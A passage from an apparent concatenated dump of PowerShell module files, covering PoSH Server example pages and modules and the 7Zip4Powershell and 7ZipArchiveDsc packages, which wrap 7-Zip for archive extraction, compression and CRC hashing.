~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@ 1
example5.ps1
7DaysToDieManager-1.0.0
# You can post values to Powershell # Example: http://localhost:8080/example5.ps1?command=Date # But we only get content of html files, you can't execute Powershell in them. $cmd = $PoSHQuery.Command if ($cmd -eq "Date") { Write-Host (Get-Date) } @" $(Write-Host Hello World Example5!) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Sample Web Site Template - PoSH Server</title> <meta name="author" content="Your Inspiration Web - Nando [php, xhtml, css], Sara [graphic design]" /> <meta name="keywords" content="single web page, single page website, single page template, single page layout" /> <meta name="description" content="" /> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <!-- [template css] begin --> <link rel="stylesheet" href="css/screen.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/960.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/print.css" type="text/css" media="print" /> <!--[if IE]> <link rel="stylesheet" href="css/ie.css" type="text/css" media="screen, projection" /> <![endif]--> <!-- [template css] end --> <!-- [favicon] begin --> <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> <link rel="icon" type="image/x-icon" href="favicon.ico" /> <!-- [favicon] end --> <!-- Some hacks for the dreaded IE6 ;) --> <!--[if lt IE 7]> <link rel="stylesheet" href="css/ie6.css" type="text/css" media="screen" /> <script type="text/javascript"> var clear="images/clear.gif"; </script> <script type="text/javascript" src="js/unitpngfix.js"></script> <![endif]--> <script type="text/javascript" src="js/mootools-yui-compressed.js"></script> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" charset="utf-8">jQuery.noConflict();</script> <!-- START SCROLL --> <script src="js/scroll.js" type="text/javascript"></script> <!-- END SCROLL --> <!-- START CUFON --> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript" src="js/dustismo_400.font.js"></script> <script type="text/javascript"> Cufon.replace('h1,ul#nav,h2,h4', { hover: true, fontFamily: 'dustismo' }); </script> <!-- END CUFON --> <!-- START VALIDATE FORM CONTACT --> <script type="text/javascript" src="js/form-contact-validate.js"></script> <!-- END VALIDATE FORM CONTACT --> </head> <body id="home-page"> <!-- START TOP FADE --> <div class="top-bg">&nbsp;</div> <!-- END TOP FADE --> <!-- START BOTTOM FADE --> <div class="bottom-bg">&nbsp;</div> <!-- END BOTTOM FADE --> <!-- START HEADER --> <div class="container_12"> <!-- START NAVIGATION SECTION --> <div class="grid_3 alpha"> <div class="fixed-column"> <!-- START LOGO --> <a href="index.htm" title="home page"> <img src="images/logo.png" alt="logo" class="logo" /> </a> <!-- END LOGO --> <!-- START NAV --> <ul id="nav"> <li><a href="#home-page" title="Home page">home</a></li> <li><a href="#about-page" title="about">about</a></li> <li><a href="#portfolio-page" title="portfolio">portfolio</a></li> <li><a href="#contact-page" title="contatti">contact</a></li> </ul> <!-- END NAV --> <!-- START FOLLOW ME --> <a href="#" title="follow me on twitter"> <img src="images/follow-me.gif" alt="follow-me" class="follow-me" /> </a> <!-- END FOLLOW ME --> <!-- START SEND ME AN EMAIL --> <a href="mailto:[email protected]" title="Send me an email"> <img src="images/send-mail.gif" alt="send mail" /> </a> <!-- END SEND ME AN EMAIL --> <!-- START ADD ME ON SKYPE --> <a href="#" title="Add me on Skype"> <img src="images/add-on-skype.png" alt="add skype" /> </a> <!-- END ADD ME ON SKYPE --> <!-- DO NOT REMOVE: START CREDITS --> <div class="credits"> <!--<a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by/2.5/it/80x15.png" /></a><br /><span xmlns:dc="http://purl.org/dc/elements/1.1/" property="dc:title">Your Inspiration Folio</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://www.yourinspirationweb.com" property="cc:attributionName" rel="cc:attributionURL">Your Inspiration Web</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/">Creative Commons Attribuzione 2.5 Italia License</a>.--> powered by <a href="http://www.yourinspirationweb.com/en/free-website-template-present-your-portfolio-online-in-a-single-webpage/" title="The Community of Inspiration Dedicated to Webdesign"> YIW </a> </div> <!-- END CREDITS --> </div> </div> <!-- END NAVIGATION SECTION --> <div class="grid_9 omega right-column"> <!-- START HOME PAGE --> <div class="home"> <!--<img src="images/text-home.jpg" alt="contenuto-home" />--> <h1> Welcome to <span>PoSH Server!</span> You can use Powershell commands with <span>html</span> codes. Let's get date: <span>$(Get-Date)</span> </h1> <!--<img src="images/arrow-home.png" alt="arrow" class="arrow" />--> </div> <div class="home-bottom-bg"></div> <!-- END HOME PAGE --> <!-- START ABOUT PAGE --> <a id="about-page"></a> <div class="about"> <div class="grid_5 alpha"> <div class="container-about"> <h2>About</h2> <p> In the About page you can insert some information on yourself: title of study, eventual training courses attended, certificates, diplomas. </p> <p> Or you can describe your dreams, your work experiences... in a few words everything that can represent <span>you on the web</span> in a decisive and original way. </p> <p> Insert a small picture or even a <span>cartoon</span> just like the one I have inserted: nowdays illustrations are the trend! </p> </div> </div> <!-- START AVATAR --> <div class="grid_4 omega avatar-image"> <img src="images/avatar.jpg" alt="avatar" class="avatar" /> </div> <!-- END AVATAR --> <div class="clear"></div> </div> <div class="about-bottom-bg"></div> <!-- END ABOUT PAGE --> <!-- START PORTFOLIO PAGE --> <a id="portfolio-page"></a> <div class="portfolio"> <div class="grid_4 alpha"> <div class="container-portfolio"> <h2>Portfolio</h2> </div> </div> <!-- START PORTFOLIO QUOTE --> <div class="grid_4 omega"> <div class="portfolio-quote"> <h4>I hope you like my work and my work speaks for me.</h4> </div> </div> <!-- END PORTFOLIO QUOTE --> <div class="clear"></div> <div class="container-portfolio"> <!-- START THUMB IMAGE --> <div class="photo"> <a href="#project01"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project02"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="photo"> <a href="#project03"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="One Page Folio" /> </a> </div> <div class="photo"> <a href="#project04"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="Eclectic: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project05"> <img src="images/portfolio/005.big.jpg" height="85" width="85" alt="Gold: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project06"> <img src="images/portfolio/006.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project07"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project08"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project09"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project10"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="clear"></div> <!-- END SMALL IMAGE --> </div> </div> <div class="portfolio-bottom-bg"></div> <!-- END PORTFOLIO PAGE --> <!-- START CONTACT PAGE --> <a id="contact-page"></a> <div class="contact"> <div class="grid_5 alpha"> <div class="container-contact"> <h2>Contact</h2> <div id="log"></div> <form id="contacts" method="post" action="include/inc_sendmail.php"> <fieldset> <input tabindex="1" type="text" id="visitor" name="visitor" value="Name" onfocus="if (this.value=='Name') this.value='';" onblur="if (this.value=='') this.value='Name';" class="text name" /> <br /> <input tabindex="3" type="text" id="visitormail" name="visitormail" value="E-mail" onfocus="if (this.value=='E-mail') this.value='';" onblur="if (this.value=='') this.value='E-mail';" class="text mail" /> <br /> <textarea tabindex="4" id="notes" name="notes" cols="30" rows="3" onfocus="if (this.value=='Message') this.value='';" onblur="if (this.value=='') this.value='Message';" class="text message">Message</textarea> <br /> <input class="button" name="Send" value="Send e-mail" type="submit" /> </fieldset> </form> </div> </div> <div class="grid_4 omega contact-info"> <p class="title">Estimates, questions, information?</p> <p> Not hesitate to contact me.<br/> Send the form or contact me on skype. </p> <img src="images/logo.small.gif" alt="logo" class="contact-logo" /> <h3>YourInspirationFolio</h3> <address>Arlington Road, 988</address> <p class="right"> <span>Tel.</span> 074 5678 678<br/> <span>Fax.</span> 074 5678 678 </p> </div> <div class="clear"></div> </div> <div class="contact-bottom-bg"></div> <!-- END CONTACT PAGE --> </div> <div class="clear"></div> </div> <!--[if IE]> <script type="text/javascript"> Cufon.now(); </script> <![endif]--> </body> </html> "@
iprestriction.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server IP Restriction Module $ClientIPAddr = $Request.RemoteEndPoint.Address if ($IPRestriction -eq "On") { if (!($IPWhiteList -match $ClientIPAddr)) { Write-Warning "$ClientIPAddr has no permission, dropping.." $IPSessionDrop = "1"; } else { $IPSessionDrop = "0"; } } else { $IPSessionDrop = "0"; }
authentication.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server Authentication Module # Basic Authentication if ($BasicAuthentication -eq "On") { $Identity = $Context.User.Identity; $PoSHUserName = $Identity.Name $PoSHUserPassword = $Identity.Password } # Windows Authentication if ($WindowsAuthentication -eq "On") { $Identity = $Context.User.Identity; $PoSHUserName = $Identity.Name }
phpencoding.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSHServer PHP Encoding function Set-PHPEncoding { param ($PHPOutput) $EncodingFix = [string]$PHPOutput $EncodingFix = $EncodingFix.Replace("─▒","ı") $EncodingFix = $EncodingFix.Replace("─░","İ") $EncodingFix = $EncodingFix.Replace("┼ş","ş") $EncodingFix = $EncodingFix.Replace("┼Ş","Ş") $EncodingFix = $EncodingFix.Replace("─ş","ğ") $EncodingFix = $EncodingFix.Replace("─Ş","Ğ") $EncodingFix = $EncodingFix.Replace("├ğ","ç") $EncodingFix = $EncodingFix.Replace("├ç","Ç") $EncodingFix = $EncodingFix.Replace("├╝","ü") $EncodingFix = $EncodingFix.Replace("├£","Ü") $EncodingFix = $EncodingFix.Replace("├Â","ö") $EncodingFix = $EncodingFix.Replace("├û","Ö") $EncodingFix = $EncodingFix.Replace("ÔÇô","'") $EncodingFix }
7Zip4Powershell.psd1
7Zip4Powershell-2.6.0
@{ GUID = 'bd4390dc-a8ad-4bce-8d69-f53ccf8e4163' Author = 'Thomas Freudenberg' Description = 'Powershell module for creating and extracting 7-Zip archives' CompanyName = 'N/A' Copyright = '2013-2021 Thomas Freudenberg' DotNetFrameworkVersion = '4.7.2' ModuleVersion = '2.6.0' PowerShellVersion = '5.0' PrivateData = @{ PSData = @{ Tags = @('powershell', '7zip', '7-zip', 'zip', 'archive', 'extract', 'compress', 'PSEdition_Core', 'PSEdition_Desktop', 'Windows') LicenseUri = 'https://github.com/thoemmi/7Zip4Powershell/blob/master/LICENSE' ProjectUri = 'https://github.com/thoemmi/7Zip4Powershell' IconUri = 'https://raw.githubusercontent.com/thoemmi/7Zip4Powershell/master/Assets/7zip4powershell.png' RequireLicenseAcceptance = $false PreRelease = '' # ReleaseNotes = '' } # End of PSData hashtable } NestedModules = @("7Zip4PowerShell.dll") CmdletsToExport = @( "Expand-7Zip", "Compress-7Zip", "Get-7Zip", "Get-7ZipInformation") }
7ZipArchiveDsc.psd1
7ZipArchiveDsc-2.0.0
@{ RootModule = '7ZipArchiveDsc.psm1' ModuleVersion = '2.0.0' GUID = '9c9688ed-1172-4d5a-9c80-772e086edda6' Author = 'mkht' CompanyName = '' Copyright = '(c) 2021 mkht. All rights reserved.' Description = 'PowerShell DSC Resource to expand an archive file to a specific path. ' PowerShellVersion = '5.0' FunctionsToExport = @( 'Expand-7ZipArchive', 'Compress-7ZipArchive' ) CmdletsToExport = @() VariablesToExport = '*' AliasesToExport = @() DscResourcesToExport = @('x7ZipArchive') PrivateData = @{ PSData = @{ Tags = @('DSC', 'ZIP', '7-Zip') LicenseUri = 'https://github.com/mkht/7ZipArchiveDsc/blob/master/LICENSE' ProjectUri = 'https://github.com/mkht/7ZipArchiveDsc' } } }
7ZipArchiveDsc.psm1
7ZipArchiveDsc-2.0.0
$modulePath = $PSScriptRoot $subModulePath = @( '\DSCResources\x7ZipArchive\x7ZipArchive.psm1' ) $subModulePath.ForEach( { Import-Module (Join-Path $modulePath $_) })
x7ZipArchive.ps1
7ZipArchiveDsc-2.0.0
$output = 'C:\Example\MOF' Configuration Example { Import-DscResource -ModuleName 7ZipArchiveDsc Node localhost { x7ZipArchive sample1 { Path = 'C:\sample.zip' Destination = 'C:\Destination' Validate = $true Checksum = 'Size' Clean = $true } } } Example -OutputPath $output Start-DscConfiguration -Path $output -Verbose -wait Remove-DscConfigurationDocument -Stage Previous, Pending, Current -Force Remove-Item $output -Recurse -Force
x7ZipArchive.psm1
7ZipArchiveDsc-2.0.0
#Requires -Version 5 using namespace System.IO using namespace System.Collections.Generic $script:Crc16 = Join-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) '\Libs\CRC16\CRC16.cs' $script:Crc32NET = Join-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) '\Libs\Crc32.NET\Crc32.NET.dll' $OSArch = (Get-CimInstance Win32_OperatingSystem).OSArchitecture switch -regex ($OSArch) { 'ARM 64' { $script:7zExe = Join-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) '\Libs\7-Zip\ARM64\7z.exe' break } '64' { $script:7zExe = Join-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) '\Libs\7-Zip\x64\7z.exe' break } Default { $script:7zExe = Join-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) '\Libs\7-Zip\x86\7z.exe' } } # Class CRC16 $crc16 = Get-Content -LiteralPath $script:Crc16 -Raw Add-Type -TypeDefinition $crc16 -Language CSharp Enum ExitCode { #https://sevenzip.osdn.jp/chm/cmdline/exit_codes.htm Success = 0 Warning = 1 FatalError = 2 CommandLineError = 7 NotEnoughMemory = 8 UserStopped = 255 } class Archive { [string] $Path [string] $Type [long] $Files = 0 [long] $Folders = 0 [FileInfo] $FileInfo [List[Object]] $FileList Archive([string]$Path) { $this.Init($Path, $null) } Archive([string]$Path, [securestring]$Password) { $this.Init($Path, $Password) } Hidden [void]Init([string]$Path, [securestring]$Password) { $this.FileList = [List[Object]]::new() $this.Path = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) $info = [Archive]::GetArchiveInfo($Path, $Password) $this.Type = [string]$info.Type $this.FileInfo = [FileInfo]::new($this.Path) $this.FileList = [Archive]::GetFileList($this.Path, $Password) $this.Folders = @($this.FileList | Where-Object { $_.ItemType -eq 'Folder' }).Count $this.Files = $this.FileList.Count - $this.Folders } [List[Object]]GetFileList() { return $this.FileList } static [string[]]TestArchive([string]$Path) { return [Archive]::TestArchive($Path, $null) } static [string[]]TestArchive([string]$Path, [securestring]$Password) { $LiteralPath = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) $NewLine = [System.Environment]::NewLine if (-not (Test-Path -LiteralPath $LiteralPath -PathType Leaf -ErrorAction Ignore)) { throw [FileNotFoundException]::new() } $pPwd = [string]::Empty if ($Password) { $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr) } # Test integrity of archive $msg = $null $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' $msg = & $script:7zExe t "$LiteralPath" -ba -p"$pPwd" 2>&1 } catch { } finally { $global:ErrorActionPreference = $currentEA } if ($LASTEXITCODE -ne [ExitCode]::Success) { throw [System.ArgumentException]::new($msg -join $NewLine) } return $msg } Hidden static [HashTable]GetArchiveInfo([string]$Path) { return [Archive]::GetArchiveInfo($Path, $null) } Hidden static [HashTable]GetArchiveInfo([string]$Path, [securestring]$Password) { $LiteralPath = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) $NewLine = [System.Environment]::NewLine if (-not (Test-Path -LiteralPath $LiteralPath -PathType Leaf -ErrorAction Ignore)) { throw [FileNotFoundException]::new() } $pPwd = [string]::Empty if ($Password) { $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr) } # Get archive info $msg = $null $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' $msg = & $script:7zExe l "$LiteralPath" -p"$pPwd" 2>&1 } catch { } finally { $global:ErrorActionPreference = $currentEA } if ($LASTEXITCODE -ne [ExitCode]::Success) { throw [System.ArgumentException]::new($msg -join $NewLine) } return ($msg | Select-String -Pattern '^--$' -Context 0, 8 | Select -First 1).Context.DisplayPostContext |` Select-String -Pattern '^.+=.+$' |` Select-Object -ExpandProperty Line |` ForEach-Object { $_.Replace('\', '\\') } |` Out-String |` ConvertFrom-StringData } static [List[Object]]GetFileList([string]$Path) { return [Archive]::GetFileList($Path, $null) } static [List[Object]]GetFileList([string]$Path, [securestring]$Password) { $FList = [List[Object]]::new() $LiteralPath = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) $NewLine = [System.Environment]::NewLine Write-Verbose 'Enumerating files & folders in the archive.' $pPwd = [string]::Empty if ($Password) { $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr) } $ret = $null $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' $ret = & $script:7zExe l "$LiteralPath" -ba -slt -p"$pPwd" 2>&1 } catch { } finally { $global:ErrorActionPreference = $currentEA } if ($LASTEXITCODE -ne [ExitCode]::Success) { throw [System.InvalidOperationException]::new($ret -join $NewLine) } ($ret -join $NewLine).Replace('\', '\\') -split "$NewLine$NewLine" |` ConvertFrom-StringData |` ForEach-Object { $tmp = $_ $tmp.Size = [long]$_.Size $tmp.Encrypted = [bool]($_.Encrypted -eq '+') if ($_.Modified) { $tmp.Modified = [datetime]$_.Modified } if ($_.Created) { $tmp.Created = [datetime]$_.Created } if ($_.Accessed) { $tmp.Accessed = [datetime]$_.Accessed } if ($_.'Packed Size') { $tmp.'Packed Size' = [long]$_.'Packed Size' } if ($_.Folder) { $tmp.Folder = [bool]($_.Folder -eq '+') $tmp.ItemType = if ($tmp.Folder) { 'Folder' }else { 'File' } } elseif ($_.Attributes) { $tmp.Folder = [bool]($_.Attributes.Contains('D')) $tmp.ItemType = if ($tmp.Folder) { 'Folder' }else { 'File' } } else { # Some type of archive (e.g. VHDX) has no folder flag or attributes $tmp.ItemType = 'File' } if ($_.'Volume Index') { $tmp.'Volume Index' = [long]$_.'Volume Index' } if ($_.Offset) { $tmp.Offset = [long]$_.Offset } $FList.Add([PSCustomObject]$tmp) } return $FList } [void]Extract([string]$Destination) { $this.Extract($Destination, $false) } [void]Extract([string]$Destination, [securestring]$Password) { $this.Extract($Destination, $Password, $false) } [void]Extract([string]$Destination, [bool]$IgnoreRoot) { $this.Extract($Destination, $null, $IgnoreRoot) } [void]Extract([string]$Destination, [securestring]$Password , [bool]$IgnoreRoot) { $Seed = -join ((1..10) | % { Get-Random -input ([char[]]((48..57) + (65..90) + (97..122))) }) $FinalDestination = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Destination) $activityMessage = ('Extracting archive: {0} to {1}' -f $this.Path, $FinalDestination) $statusMessage = 'Extracting...' Write-Verbose $activityMessage $pPwd = [string]::Empty if ($Password) { $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr) } # Test the archive has multiple root or not if ($IgnoreRoot) { $rootDir = $this.FileList | Where-Object { $_.Path.Contains('\') } | ForEach-Object { ($_.Path -split '\\')[0] } | Select-Object -First 1 if (-not $rootDir) { throw [System.InvalidOperationException]::new("Archive has no item or only one file in the root. You can't use IgnoreRoot option.") } [bool]$HasMultipleRoot = $false foreach ($Item in $this.FileList) { if (($Item.ItemType -eq 'Folder') -and ($Item.Path -ceq $rootDir)) { # The item is Root dir continue } elseif ($Item.Path.StartsWith(($rootDir + '\'), [System.StringComparison]::Ordinal)) { # The item in the root dir continue } else { # The item out of the root dir $HasMultipleRoot = $true break } } if ($HasMultipleRoot) { throw [System.InvalidOperationException]::new("Archive has multiple items in the root. You can't use IgnoreRoot option.") } $Destination = $global:ExecutionContext.SessionState.Path.Combine($FinalDestination, "$Seed\$rootDir") } if ($IgnoreRoot) { $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' & $script:7zExe x "$($this.Path)" -ba -o"$Destination" -p"$pPwd" -y -aoa -spe -bsp1 | ForEach-Object -Process { if ($_ -match '(\d+)\%') { $progress = $Matches.1 if ([int]::TryParse($progress, [ref]$progress)) { Write-Progress -Activity $activityMessage -Status $statusMessage -PercentComplete $progress -CurrentOperation "$progress % completed." } } } } catch { } finally { $global:ErrorActionPreference = $currentEA } } else { $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' & $script:7zExe x "$($this.Path)" -ba -o"$Destination" -p"$pPwd" -y -aoa -bsp1 | ForEach-Object -Process { if ($_ -match '(\d+)\%') { $progress = $Matches.1 if ([int]::TryParse($progress, [ref]$progress)) { Write-Progress -Activity $activityMessage -Status $statusMessage -PercentComplete $progress -CurrentOperation "$progress % completed." } } } } catch { } finally { $global:ErrorActionPreference = $currentEA } } $ExitCode = $LASTEXITCODE if ($ExitCode -ne [ExitCode]::Success) { if (Test-Path -LiteralPath ($global:ExecutionContext.SessionState.Path.Combine($FinalDestination, $Seed)) -ErrorAction Ignore) { Remove-Item -LiteralPath ($global:ExecutionContext.SessionState.Path.Combine($FinalDestination, $Seed)) -Force -Recurse -ErrorAction SilentlyContinue } throw [System.InvalidOperationException]::new(('Exit code:{0} ({1})' -f $ExitCode, ([ExitCode]$ExitCode).ToString())) } else { Write-Progress -Activity $activityMessage -Status 'Extraction complete.' -Completed } if ($IgnoreRoot) { try { # In some anti-virus software, real-time file scanning seems to grab files for a long time and Move-Item fails. # As a workaround, insert a wait time of 1.5 seconds. Start-Sleep -Milliseconds 1500 Get-ChildItem -LiteralPath $Destination -Force | Move-Item -Destination $FinalDestination -Force -ErrorAction Stop } finally { Remove-Item -LiteralPath ($global:ExecutionContext.SessionState.Path.Combine($FinalDestination, $Seed)) -Force -Recurse -ErrorAction SilentlyContinue } } Write-Verbose 'Extraction completed successfully.' } static [void]Extract([string]$Path, [string]$Destination) { [Archive]::Extract($Path, $Destination, $false) } static [void]Extract([string]$Path, [string]$Destination, [securestring]$Password) { $archive = [Archive]::new($Path, $Password) $archive.Extract($Destination, $Password) } static [void]Extract([string]$Path, [string]$Destination, [bool]$IgnoreRoot) { $archive = [Archive]::new($Path) $archive.Extract($Destination, $IgnoreRoot) } static [void]Extract([string]$Path, [string]$Destination, [securestring]$Password , [bool]$IgnoreRoot) { $archive = [Archive]::new($Path, $Password) $archive.Extract($Destination, $Password, $IgnoreRoot) } static [void]Compress([string[]]$Path, [string]$Destination) { [Archive]::Compress($Path, $Destination, [string]::Empty, $null) } static [void]Compress([string[]]$Path, [string]$Destination, [string]$Type) { [Archive]::Compress($Path, $Destination, $Type, $null) } static [void]Compress([string[]]$Path, [string]$Destination, [string]$Type, [securestring]$Password) { $Destination = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Destination) $activityMessage = ('Compress archive: {0}' -f $Destination) $statusMessage = 'Compressing...' $oldItem = $null if (Test-Path $Destination -PathType Leaf -ErrorAction Ignore) { $item = Get-Item -LiteralPath $Destination $tmpName = $item.BaseName + ( -join ((1..5) | % { Get-Random -input ([char[]]((48..57) + (65..90) + (97..122))) })) + $item.Extension $oldItem = $item | Rename-Item -NewName $tmpName -Force -PassThru } Write-Verbose $activityMessage [string]$TargetFiles = @($Path).ForEach( { $LiteralPath = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($_) "`"$LiteralPath`"" }) -join ' ' [string[]]$CmdParam = ($script:7zExe, 'a', "`"$Destination`"", $TargetFiles, '-ba', '-y', '-ssw', '-spd', '-bsp1') if ($Password) { $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Password) $pPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr) $CmdParam += ('-p"{0}"' -f $pPwd) } if ($Type) { $CmdParam += ('-t"{0}"' -f $Type) } $CmdParam += '2>&1' $msg = $null $currentEA = $global:ErrorActionPreference try { $ErrorActionPreference = 'Continue' $msg = Invoke-Expression ($CmdParam -join ' ') | ForEach-Object -Process { if ($_ -match '(\d+)\%') { $progress = $Matches.1 if ([int]::TryParse($progress, [ref]$progress)) { Write-Progress -Activity $activityMessage -Status $statusMessage -PercentComplete $progress -CurrentOperation "$progress % completed." } } } } catch { } finally { $global:ErrorActionPreference = $currentEA } $ExitCode = $LASTEXITCODE if ($ExitCode -ne [ExitCode]::Success) { if (($null -ne $oldItem) -and (Test-Path $oldItem -ErrorAction Ignore)) { Remove-Item $Destination -ErrorAction SilentlyContinue Move-Item $oldItem $Destination -Force } throw [System.ArgumentException]::new($msg -join [System.Environment]::NewLine) } else { if (($null -ne $oldItem) -and (Test-Path $oldItem -ErrorAction Ignore)) { Remove-Item $oldItem -Force } Write-Progress -Activity $activityMessage -Status 'Compression complete.' -Completed } Write-Verbose 'Compression complete.' } } <# .SYNOPSIS ファイルのCRC16ハッシュを計算する関数 .PARAMETER Path ハッシュを計算するファイルのパスを指定します .EXAMPLE Get-CRC16Hash -Path C:\file.txt #> function Get-CRC16Hash { [CmdletBinding()] [OutputType([string])] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName, Position = 0)] [string]$Path ) Begin { $crc16 = [CRC16]::new() } Process { if (-not (Test-Path -LiteralPath $Path -PathType Leaf -ErrorAction Ignore)) { Write-Error -Exception ([FileNotFoundException]::new('The file does not exist.')) } else { try { [FileStream]$stream = [File]::Open($Path, [FileMode]::Open, [FileAccess]::Read, ([FileShare]::ReadWrite + [FileShare]::Delete)) [byte[]]$hash = $crc16.ComputeHash($stream); [System.BitConverter]::ToString($hash).Replace('-', [string]::Empty) } catch { Write-Error -Exception $_.Exception } finally { if ($null -ne $stream) { $stream.Dispose() } } } } } <# .SYNOPSIS ファイルのCRC32ハッシュを計算する関数 .PARAMETER Path ハッシュを計算するファイルのパスを指定します .EXAMPLE Get-CRC32Hash -Path C:\file.txt #> function Get-CRC32Hash { [CmdletBinding()] [OutputType([string])] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)] [string] $Path ) Begin { if (-not ([System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.Location -eq $script:Crc32NET })) { $null = [reflection.assembly]::LoadFrom($script:Crc32NET) } } Process { if (-not (Test-Path -LiteralPath $Path -PathType Leaf -ErrorAction Ignore)) { Write-Error -Exception ([FileNotFoundException]::new('The file does not exist.')) return } $crc32 = [Force.Crc32.Crc32Algorithm]::new() try { [FileStream]$stream = [File]::Open($Path, [FileMode]::Open, [FileAccess]::Read, ([FileShare]::ReadWrite + [FileShare]::Delete)) [byte[]]$hash = $crc32.ComputeHash($stream) [System.BitConverter]::ToString($hash).Replace('-', [string]::Empty) } catch { Write-Error -Exception $_.Exception } finally { if ($null -ne $stream) { $stream.Dispose() } } } } function Get-TargetResource { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] [Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidUsingPlainTextForPassword', '')] param ( [Parameter()] [ValidateSet('Present', 'Absent')] [string] $Ensure = 'Present', [Parameter(Mandatory)] [string] $Path, [Parameter(Mandatory)] [string] $Destination, [Parameter()] [string] $Password, [Parameter()] [bool] 